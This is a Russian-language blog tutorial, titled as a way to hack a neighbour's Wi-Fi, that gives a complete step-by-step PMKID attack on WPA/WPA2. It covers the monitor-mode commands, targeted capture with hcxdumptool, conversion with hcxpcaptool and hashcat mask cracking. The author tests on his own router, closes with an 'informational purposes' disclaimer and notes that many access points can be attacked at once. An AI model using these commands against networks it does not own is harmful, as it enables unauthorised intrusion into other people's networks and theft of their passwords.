Новый способ взлома соседского Wi-Fi
Привет, мои лучшие подписчики. Сегодня я готов показать вам суть метода с помощью которого можно получить идентификатор PMKID в составе ответа EAPOL на запрос аутентификации (PMKID указывается в опциональном поле RSN IE (Robust Security Network Information Element)).
Наличие PMKID позволяет определить разделяемый ключ PSK (Pre-Shared Key, пароль к беспроводной сети) без непосредственного получения вычисленного на его основе PMK (Pairwise Master Key), передаваемого на этапе согласования соединения при успешной аутентификации нового пользователя.
Основная разница этой атаки от существующих, в том что нет необходимости захватывать полное "рукопожатие", а достаточно одного кадра EOPOL, ну второе не менне важное - это то что нет необходимости ждать пользователя который подключиться к атакуемой сети, так как атака будет происходить непосредственно на саму AP.
Что нам потребуется?
- Linux (в моем случае Linux parrot 4.16.0-parrot16-amd64)
- hcxtools
- hcxdumptool
- Hashcat v4.2.0
Загрузка и Установка
Hcxtools (аналогично и для hcxdumptool)
- git clone ZerBea/hcxtools
- cd hcxtools
- make
- make install
Hashcat v4.2.0
Даже если у вас уже установлен hashcat, но он ниже версии 4.2.0, то Вам нужно будет его удалить, затем скачать свежую версию и установить, как и я это делал, ну или обновить другим известным для Вас способом т.к. в старых версиях нет метода расшифровки PMKID для WPA/WPA2 (а именно 16800).
- git clone hashcat/hashcat
- cd hashcat
- make
- make install * (пояснения внизу)
Всю атаку я буду проводить на своем роутере. Марка Asus RT-N12C1. Прошивка последняя.
Переводим интерфейс в режим монитора
Первый способ
Код:
airmon-ng start wlan0 (wlan0 - это Ваш интерфейс, посмотреть можно введя команду ifconfig)
airmon-ng check kill
Второй способ
Код:
ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up
airmon-ng check kill
Запускаем сканирование Wi-Fi сетей
airodump wlan0mon (wlan0 в зависимости от того каким способом пользовались)
Мой тестовый Wi-Fi называется "Happy_New_Year"
Сохраняем BSSID нашей тестовой AP БЕЗ ДВОЕТОЧИЙ в файл... я это сделал следующей командой.
Код:
echo "60A44C55D7C0" > filter.txt
Запускаем Hcxdumptool
Код:
hcxdumptool -i wlan0 -o hash --filterlist=filter.txt --filtermode=2 --enable_status=1
-i wlan0 -имя нашего сетевого интерфейса
-o hash - выходной файл в pcapng формате в котором есть строка PMKID с хешем
--filtermode=2 - указываем что наш filter.txt будет целевым списком
--filterlist=filter.txt - файл с BSSID который мы Вы сохранили
--enable_status=1 - включаем сообщения по маске (EAPOL,PROBEREQUEST,AUTHENTICATON или ASSOCIATION )
После получения сообщения "FOUND PMKID" мы останавливаем работу скрипта, и как вы можете заметить мне пришло аж сразу 3 сообщения о найденных пакетах в которм содержится строка с хешем PMKID. И так, Hcxdumptool справился со своей задачей и нашел нужный пакет с хешем... идем дальше!
Запускаем hcxpcaptool
hcxpcaptool -z hash_crack hash
-z hash_crack - выходной файл, с хешем PMKID очищенной от лишней инфы, для hashcat (hashmod -m 16800). преобразован в обычный текст.
hash - файл в pcapng формате (все собранные пакеты hcxdumptool)
В моем случае он обнаружил 3 пакета, как я уже говорил, и все данные записал в мой текстовый файл hash_crack..... в 3 строки. Как раз эти строки мы и будем расшифровывать в HASHCAT
Запускаем HASHCAT
hashcat -m 16800 -a 3 -w 3 hash_crack '?u?s?d23456A' --force
-m 16800 - новый hashmod который появился в версии 4.2.0
?u?s?d?d?d?d?d6A - мой пароль по маске + 2 последних символа которых я знаю из этого пароля
1 день и 4 часа проверять я конечно же не буду, но я добавил ее пару известных символов и перезапустил... вот результат...
пароль был успешно найден.
Вывод из всего этого могу сделать только один.... данный метод на голову выше своих предыдущих вариантов атаки, к тому же я посмотрел на скорость которая хоть и не намного выше чем в aircrack-ng, но все же, а если учесть то что у некоторых есть хорошие видеокарты, то это вообще отличное подспорье! к тому же нет больше необходимости ждать юзверя и перехватывать "рукопожатие" + этих скриптов в том что можно это все делать не на одной точке а на нескольких одновременно... добавив в первичный текстовый файл BSSID разных AP.
Трудности с которыми я столкнулся
- наверно единственная была маленькая проблема при переустановке hashcat. После удаления (
apt-get remove hashcat), перешел в папку свежескачанного скрипта..... - make
- make install
и тут мне выдает ошибку - "include/ext_OpenCL.h:15:10: fatal error: CL/cl.h: No such file or directory #include <CL/cl.h>", мол нет какой-то папки....так и правильно у меня в принципе не было OpenGL....так что порыскав, в течении пару минут нашел решение - apt-get install opencl-headers, после чего hashcat благополучно заработал
Я никого ни к чему не призываю, статья написана в ознакомительных целях!